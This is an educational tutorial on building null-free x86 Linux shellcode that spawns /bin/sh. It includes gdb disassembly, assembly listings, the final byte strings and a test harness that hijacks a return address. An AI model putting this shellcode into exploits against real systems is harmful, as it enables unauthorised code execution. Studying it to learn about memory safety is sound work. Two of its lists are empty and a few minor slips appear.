´╗┐Shellcode

Introduction

Shellcode is used in buffer overflow attacks. It is simply binary machine instructions in string format. In general, shellcode is difficult to create, but extremely easy to find. This tutorial explains how to create shellcode.

The ideas from this tutorial are taken from Aleph1's Smashing the stack for fun and profit. It has been rewritten to expand explanations and so that it works on modern systems (specifically Ubuntu 12.04).

Executing a shell

The first task is to build a C program that will execute a shell. It should be as simple as possible. Here is a very simple C program that does just that:

#include <stdio.h>
int main() { 
   char *array[2];
   array[0] = "/bin/sh";
   array[1] = NULL;
   execve(array[0], array, NULL);
   return 0;
}

Compile it and make sure that it works correctly. Note that it's compiled statically (-static). This is important for some of the next steps.

It works just as expected. Now the program needs to be disassembled. In order to disassemble the execve function, it needed to be compiled into the program. That is why the -static flag was necessary previously. gdb is used to disassemble the important functions.

wbyoung@netsec:~$ gdb shell
(gdb) disass main
Dump of assembler code for function main:
0x08048ee0 <+0>:     push   %ebp
0x08048ee1 <+1>:     mov    %esp,%ebp
0x08048ee3 <+3>:     and    $0xfffffff0,%esp
0x08048ee6 <+6>:     sub    $0x20,%esp
0x08048ee9 <+9>:     movl   $0x80c57a8,0x18(%esp)
0x08048ef1 <+17>:    movl   $0x0,0x1c(%esp)
0x08048ef9 <+25>:    mov    0x18(%esp),%eax
0x08048efd <+29>:    movl   $0x0,0x8(%esp)
0x08048f05 <+37>:    lea    0x18(%esp),%edx
0x08048f09 <+41>:    mov    %edx,0x4(%esp)
0x08048f0d <+45>:    mov    %eax,(%esp)
0x08048f10 <+48>:    call   0x8053ae0 <execve>
0x08048f15 <+53>:    mov    $0x0,%eax
0x08048f1a <+58>:    leave
0x08048f1b <+59>:    ret
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x08053ae0 <+0>:     push   %ebx
0x08053ae1 <+1>:     mov    0x10(%esp),%edx
0x08053ae5 <+5>:     mov    0xc(%esp),%ecx
0x08053ae9 <+9>:     mov    0x8(%esp),%ebx
0x08053aed <+13>:    mov    $0xb,%eax
0x08053af2 <+18>:    call   *0x80ef5a4
0x08053af8 <+24>:    cmp    $0xfffff000,%eax
0x08053afd <+29>:    ja     0x8053b01 <execve+33>
0x08053aff <+31>:    pop    %ebx
0x08053b00 <+32>:    ret
0x08053b01 <+33>:    mov    $0xffffffe8,%edx
0x08053b07 <+39>:    neg    %eax
0x08053b09 <+41>:    mov    %gs:0x0,%ecx
0x08053b10 <+48>:    mov    %eax,(%ecx,%edx,1)
0x08053b13 <+51>:    or     $0xffffffff,%eax
0x08053b16 <+54>:    pop    %ebx
0x08053b17 <+55>:    ret
End of assembler dump.
(gdb) quit

What's actually going on here? The following table explains what different sets of instructions are doing.

ExplanationInstructions
Set up the main function 0x08048ee0 <+0>: push %esp 0x08048ee1 <+1>: mov %esp,%ebp 0x08048ee3 <+3>: and $0xfffffff0,%esp 0x08048ee6 <+6>: sub $0x20,%esp
Move the address of /bin/sh into 0x18(%esp) which is array[0] 0x08048ee9 <+9>: movl $0x80c57a8,0x18(%esp)
Move NULL into 0x1c(%esp) which is array[1] 0x08048ef1 <+17>: movl $0x0,0x1c(%esp)
Move the address of the /bin/sh string into eax 0x08048ef9 <+25>: mov 0x18(%esp),%eax
Push the 3rd argument, a NULL onto the stack 0x08048efd <+29>: movl $0x0,0x8(%esp)
Load the address of the array into edx, then push it onto the stack as the 2nd argument 0x08048f05 <+37>: lea 0x18(%esp),%edx 0x08048f09 <+41>: mov %edx,0x4(%esp)
Push address of /bin/sh onto the stack as the 1st argument 0x08048f10 <+45>: mov %eax,(%esp)
Call execve now that the argument list has been built 0x08048f10 <+48>: call 0x8053ae0 <execve>
Complete main and return 0 0x08048f15 <+53>: mov $0x0,%eax 0x08048f1a <+58>: leave 0x08048f1b <+59>: ret

With the knowledge of what is happening in main, it's possible to figure out what's within the execve function.

ExplanationInstructions
Setup the execve function 0x08053ae0 <+0>: push %ebx
This moves the 3rd argument, a NULL, into edx 0x08053ae1 <+1>: mov 0x10(%esp),%edx
This moves the 2nd argument, the address of the array, into ecx 0x08053ae5 <+5>: mov 0xc(%esp),%ecx
This moves the 1st argument, the address of /bin/sh into the ebx register 0x08053ae9 <+9>: mov 0x8(%esp),%ebx
Move 0xb into the eax register, then execute an interrupt to enter kernel mode. The simplest instruction for an interrupt is int 0x80 though in this case it's hidden in a wrapper function at 0x80ef5a3. 0x08053aed <+13>: mov $0xb,%eax 0x08053af2 <+18>: call *0x80ef5a4
The rest of this is not important in generating our shellcode since the kernel has already taken over and started the requested program 0x08053af8 <+24>: cmp $0xfffff000,%eax 0x08053afd <+29>: ja 0x8053b01 <execve+33> 0x08053b01 <+31>: pop %ebx 0x08053b00 <+32>: ret

There are a lot of instructions here. Needless to say, not all of them are needed. The shorter the shellcode is, the more robust it is.

First, the following things must exist in memory:

Then all that needs to be done is:

If the execve call fails, though, the program should exit cleanly. To do this, a call to exit can be added to the end of the shellcode. It's not too much extra trouble.

Here is a simple program that calls exit.

#include <stdlib.h> 
int main() { 
  exit(0);
  return 0;
}

Compiling with the same flags as before, it appears to do what it should.

wbyoung@netsec:~$ gcc -g -static -o exit exit.c
wbyoung@netsec:~$ ./exit

The only important function is actually _exit which is called by __run_exit_handlers (not shown) which is called by exit and is at the bottom of the output below.

(gdb) disass main
Dump of assembler code for function main:
0x08048ee0 <+0>:     push   %ebp
0x08048ee1 <+1>:     mov    %esp,%ebp
0x08048ee3 <+3>:     and    $0xfffffff0,%esp
0x08048ee6 <+6>:     sub    $0x10,%esp
0x08048ee9 <+9>:     movl   $0x0,(%esp)
0x08048ef0 <+16>:    call   0x8049770 <exit>
End of assembler dump.
(gdb) disass exit
Dump of assembler code for function exit:
0x08049770 <+0>:     sub    $0x1c,%esp
0x08049773 <+3>:     mov    0x20(%esp),%eax
0x08049777 <+7>:     movl   $0x1,0x8(%esp)
0x0804977f <+15>:    movl   $0x80ef06c,0x4(%esp)
0x08049787 <+23>:    mov    %eax,(%esp)
0x0804978a <+26>:    call   0x8049680 <__run_exit_handlers>
End of assembler dump.
(gdb) disass _exit
Dump of assembler code for function _exit:
0x08053a9c <+0>:     mov    0x4(%esp),%ebx
0x08053aa0 <+4>:     mov    $0xfc,%eax
0x08053aa5 <+9>:     call   *0x80ef5a4
0x08053aab <+15>:    mov    $0x1,%eax
0x08053ab0 <+20>:    int    $0x80
0x08053ab2 <+22>:    hlt
End of assembler dump.
(gdb)

Exiting a program is actually very simple. The exit code (0 to indicate that the program exited cleanly) is passed as an argument and eventually stored in ebx. The system call number, 0x1, is stored in eax. Then the program calls int 0x80 to trap to the kernel. That's all.

Compiling the assembly instructions

Now that the basics of what needs to be done have been figured out, it's time to put it all together. With /bin/sh in memory, here's what needs to be done:

  1. Put the address of /bin/sh in ebx
  2. Ensure /bin/sh is null terminated with a '\0'
  3. Put the address of /bin/sh in array[0]
  4. Put a four-byte NULL in array[1]
  5. Put the address of the array into ecx
  6. Put a NULL into edx
  7. Put 0xb in eax
  8. Call int 0x80
  9. Store 0x0 in ebx
  10. Store 0x1 in eax
  11. Call int 0x80

This roughly translates to:

???? %ebx                        # get string into ebx
movb $0x0, string-end(%ebx)      # null terminate string
movl %ebx, array-0-offset(%ebx)  # store address of string
movl $0x0, array-1-offset(%ebx)  # null terminate array
movl $0x0, %edx                  # put a null in edx
leal array-0-offset(%ebx), %ecx  # put array in ecx
movl $0xb, %eax                  # set syscall number for execve
int  $0x80                       # trap to kernel
movl $0x0, %ebx                  # set exit status of 0
movl $0x1, %eax                  # set syscall number for exit
int  $0x80                       # trap to kernel
.string "/bin/sh"

This is all well and good, but the address of the /bin/sh string isn't known. It could end up anywhere in the program, and there's no way of knowing. There is a little trick that can be used to determine the address, though. If the program first jumps to the end of these instructions (just before the string), then makes a call back to the beginning, then the address immediately following the call instruction will be stored on the stack. The assembly will look something like this:

jmp call-offset
...
call jump-offset
.string "/bin/sh"

The first instruction that is executed is the jmp instruction. This will cause the machine to skip ahead to the call instruction. When executing the call instruction, the machine pushes the address of the instruction immediately following it onto the stack. All calls do this so that when the ret instruction is invoked, the program knows which instruction to execute next. In this case, it would start executing the instructional equivalent of /bin/sh. Clearly this does not correspond to valid instructions, and the program would crash. But ret is never invoked since the program will either call execve successfully or call exit.

Now that the address of the string is on the stack, it needs to be retrieved through the popl instruction.

jmp call-offset                  # (2)
popl %ebx                        # (1) get string into ebx
movb $0x0, string-len(%ebx)      # (4) null terminate string
movl %ebx, array-0-offset(%ebx)  # (3) store address of string
movl $0x0, array-1-offset(%ebx)  # (7) null terminate array
movl $0x0, %edx                  # (5) put a null in edx
leal array-0-offset(%ebx), %ecx  # (3) put array in ecx
movl $0xb, %eax                  # (5) set syscall number for execve
int  $0x80                       # (2) trap to kernel
movl $0x0, %ebx                  # (5) set exit status of 0
movl $0x1, %eax                  # (5) set syscall number for exit
int  $0x80                       # (2) trap to kernel
call jump-offset                 # (5)
.string "/bin/sh"

The number of bytes for each instruction has been included in the above instructions.

This is pretty much the final assembly code, but the offsets need to be determined. To know what the offsets are, a memory location for the array has to be determined. Since the program won't be executing any other instructions, any memory location within the program's address space will work. A good place for it is just after the /bin/sh string.

Indicating the 4 byte address of /bin/sh with addr and the 4 byte address of a NULL with null, the goal is to lay out the memory like this:

/bin/sh\0addrnull

For clarity, the C equivalent of what's happening is this:

char string[16] = "/bin/sh";

char *write-null-byte = string + STRING-LEN;
int *write-string-addr = string + ARRAY-0-OFFSET;
int *write-null = string + ARRAY-1-OFFSET;

*write-null-byte = '\0';
*write-string-addr = (int)string;
*write-null = 0;

To resolve the jump offset, count the number of bytes from main until the call instruction. It's 47, so the jump offset should be main+0x2f. Since the call needs execute the instruction just after the jump, its offset should be 5, main+0x5. Replacing all of the offsets, the assembly code is:

main:
  jmp  main+0x2f                 # (5)
  popl %ebx                      # (1) get string into ebx
  movb $0x0, 0x7(%ebx)           # (4) null terminate string
  movl %ebx, 0x8(%ebx)           # (3) store address of string
  movl $0x0, 0xc(%ebx)           # (7) null terminate array
  movl $0x0, %edx                # (5) put a null in edx
  leal 0x8(%ebx), %ecx           # (3) put array in ecx
  movl $0xb, %eax                # (5) set syscall number for execve
  int  $0x80                     # (2) trap to kernel
  movl $0x0, %ebx                # (5) set exit status of 0
  movl $0x1, %eax                # (5) set syscall number for exit
  int  $0x80                     # (2) trap to kernel
  call main+0x5                  # (5)
  .string "/bin/sh"
.globl main
  .type   main, @function

This is pretty easy to compile with gdb. Just put it in a file with a .s extension, and gdb knows that it's assembly instructions. The added symbols above define a main function so the program compiles properly.

wbyoung@netsec:~$ gcc -g -o shellcode shellcode.s

Disassembling the program in gdb will ensure gcc didn't change anything.

wbyoung@netsec:~$ gdb shellcode
(gdb) disass main
Dump of assembler code for function main:
0x080483b4 <+0>:     jmp    0x80483e3 <main+47>
0x080483b9 <+5>:     pop    %ebx
0x080483ba <+6>:     movb   $0x0,0x7(%ebx)
0x080483be <+10>:    mov    %ebx,0x8(%ebx)
0x080483c1 <+13>:    movl   $0x0,0xc(%ebx)
0x080483c8 <+20>:    mov    $0x0,%edx
0x080483cd <+25>:    lea    0x8(%ebx),%ecx
0x080483d0 <+28>:    mov    $0xb,%eax
0x080483d5 <+33>:    int    $0x80
0x080483d7 <+35>:    mov    $0x0,%ebx
0x080483dc <+40>:    mov    $0x1,%eax
0x080483e1 <+45>:    int    $0x80
0x080483e3 <+47>:    call   0x80483b9 <main+5>
0x080483e8 <+52>:    das
0x080483e9 <+53>:    bound  %ebp,0x6e(%ecx)
0x080483ec <+56>:    das
0x080483ed <+57>:    jae    0x8048457
0x080483ef <+59>:    add    %dl,0x57(%ebp)
End of assembler dump.

It looks fine, but if you try to run this program, it will segmentation fault. The reason is because the program modifies itself. When compiled this way, the instructions (as well as the string) are in the text/code section of the program. Modern kernels mark this section as read-only. When the program tries to write null byte at the end of /bin/sh, it crashes.

That's okay because when used, this will be executing in the stack. To quickly prepare this for the stack, objdump will output the binary for the instructions.

wbyoung@netsec:~$ objdump -d shellcode | grep -A20 '<main>'
080483b4 <main>:
 80483b4:   e9 2a 00 00 00          jmp    80483e3 <main+0x2f>
 80483b9:   5b                      pop    %ebx
 80483ba:   c6 43 07 00             movb   $0x0,0x7(%ebx)
 80483be:   89 5b 08                mov    %ebx,0x8(%ebx)
 80483c1:   c7 43 0c 00 00 00 00    movl   $0x0,0xc(%ebx)
 80483c8:   ba 00 00 00 00          mov    $0x0,%edx
 80483cd:   8d 4b 08                lea    0x8(%ebx),%ecx
 80483d0:   b8 0b 00 00 00          mov    $0xb,%eax
 80483d5:   cd 80                   int    $0x80
 80483d7:   bb 00 00 00 00          mov    $0x0,%ebx
 80483dc:   b8 01 00 00 00          mov    $0x1,%eax
 80483e1:   cd 80                   int    $0x80
 80483e3:   e8 d1 ff ff ff          call   80483b9 <main+0x5>
 80483e8:   2f                      das    
 80483e9:   62 69 6e                bound  %ebp,0x6e(%ecx)
 80483ec:   2f                      das    
 80483ed:   73 68                   jae    8048457 <__libc_csu_init+0x67>
    ...

080483f0 <__libc_csu_fini>:

Everything up through the call instruction is normal instructions. The information after it is the string /bin/sh, which can be replaced with the actual string /bin/sh. The shellcode can be tested in a simple program.

char shellcode[] = "\xe9\x2a\x00\x00\x00\x5b\xc6\x43\x07\x00"
  "\x89\x5b\x08\xc7\x43\x0c\x00\x00\x00\x00\xba\x00\x00\x00\x00"
  "\x8d\x4b\x08\xb8\x0b\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00"
  "\xb8\x01\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff/bin/sh";

void shell() {
  int *ret; 
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

int main() { 
   shell();
   return 0;
}

Now just compile (allowing the stack to be executable) and run:

wbyoung@netsec:~$ gcc -g -z execstack -o shellcode shellcode.c
wbyoung@netsec:~$ ./shellcode
$ exit
wbyoung@netsec:~$

It works properly. There's one last thing to do — remove null characters from the shellcode.

Removing null characters

Many buffer overflows exploits rely on functions that read strings until reaching a null character. If there are any null characters in shellcode, then the function will stop reading at the first one, and all of the shellcode will not make its way into the program. It's actually pretty simple to replace instructions that contain null characters. The following table includes instructions that cause problems and their replacements.

ProblemReplacement
jmp main+0x2fThe compiler compiles this into a five byte long jump instruction, e9 2a 00 00 00. The address in the instruction begins with null characters. Using the short jump instruction, the instruction can be 2 bytes long: eb 2a. This change has to be made after the code is compiled because there's no way to instruct the compiler to use a short jump.
movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0x0, %edx xorl %eax, %eax movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) movl %eax, %edx
movl $0xb, %eax movb $0xb, %al
movl $0x0, %ebx movl $0x1, %eax xorl %ebx, %ebx movl %ebx, %eax inc %eax

The assembly instructions now become:

main:
  jmp  main+0x21                 # (5)
  popl %ebx                      # (1) get string into ebx
  xorl %eax, %eax                # (2) clear the eax register
  movb %al,  0x7(%ebx)           # (3) null terminate string
  movl %ebx, 0x8(%ebx)           # (3) store address of string
  movl %eax, 0xc(%ebx)           # (3) null terminate array
  movl %eax, %edx                # (2) put a null in edx
  leal 0x8(%ebx), %ecx           # (3) put array in ecx
  movb $0xb, %al                 # (2) set syscall number for execve
  int  $0x80                     # (2) trap to kernel
  xorl %ebx, %ebx                # (2) set exit status of 0
  movl %ebx, %eax                # (2) clear the eax register
  inc  %eax                      # (1) set syscall number for exit
  int  $0x80                     # (2) trap to kernel
  call main+0x5                  # (5)
  .string "/bin/sh"
.globl main
  .type   main, @function

Note that the jump offset has changed since instructions were modified. Assembling this, and using objdump results in the following:

wbyoung@netsec:~$ gcc -g -o shellcode shellcode.s
wbyoung@netsec:~$ objdump -d shellcode | grep -A20 '<main>'
080483b4 <main>:
 80483b4:   e9 1c 00 00 00          jmp    80483d5 <main+0x21>
 80483b9:   5b                      pop    %ebx
 80483ba:   31 c0                   xor    %eax,%eax
 80483bc:   88 43 07                mov    %al,0x7(%ebx)
 80483bf:   89 5b 08                mov    %ebx,0x8(%ebx)
 80483c2:   89 43 0c                mov    %eax,0xc(%ebx)
 80483c5:   89 c2                   mov    %eax,%edx
 80483c7:   8d 4b 08                lea    0x8(%ebx),%ecx
 80483ca:   b0 0b                   mov    $0xb,%al
 80483cc:   cd 80                   int    $0x80
 80483ce:   31 db                   xor    %ebx,%ebx
 80483d0:   89 d8                   mov    %ebx,%eax
 80483d2:   40                      inc    %eax
 80483d3:   cd 80                   int    $0x80
 80483d5:   e8 df ff ff ff          call   80483b9 <main+0x5>
 80483da:   2f                      das    
 80483db:   62 69 6e                bound  %ebp,0x6e(%ecx)
 80483de:   2f                      das    
 80483df:   73 68                   jae    8048449 <__libc_csu_init+0x59>
 80483e1:   00 90 90 90 90 90       add    %dl,-0x6f6f6f70(%eax)

As expected, all of the nulls have been removed except for the jump instruction. This instruction is replaced with eb 1c. The shellcode becomes:

char shellcode[] = 
  "\xeb\x1c\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43"
  "\x0c\x89\xc2\x8d\x4b\x08\xb0\x0b\xcd\x80\x31\xdb\x89"
  "\xd8\x40\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";

The offsets for the jump and call don't need to be changed when changing the jump instruction to eb 1c because they are compiled relative to the instruction and not to the start of main.

Compiling it and running it in the previous shellcode.c program shows that the shellcode works, and now it has no null characters.

wbyoung@netsec:~$ gcc -g -z execstack -o shellcode shellcode.c
wbyoung@netsec:~$ ./shellcode
$ exit
wbyoung@netsec:~$

Using the shellcode

Shellcode is used in buffer overflow attacks. To learn more about how to use the shellcode, read about buffer overflows.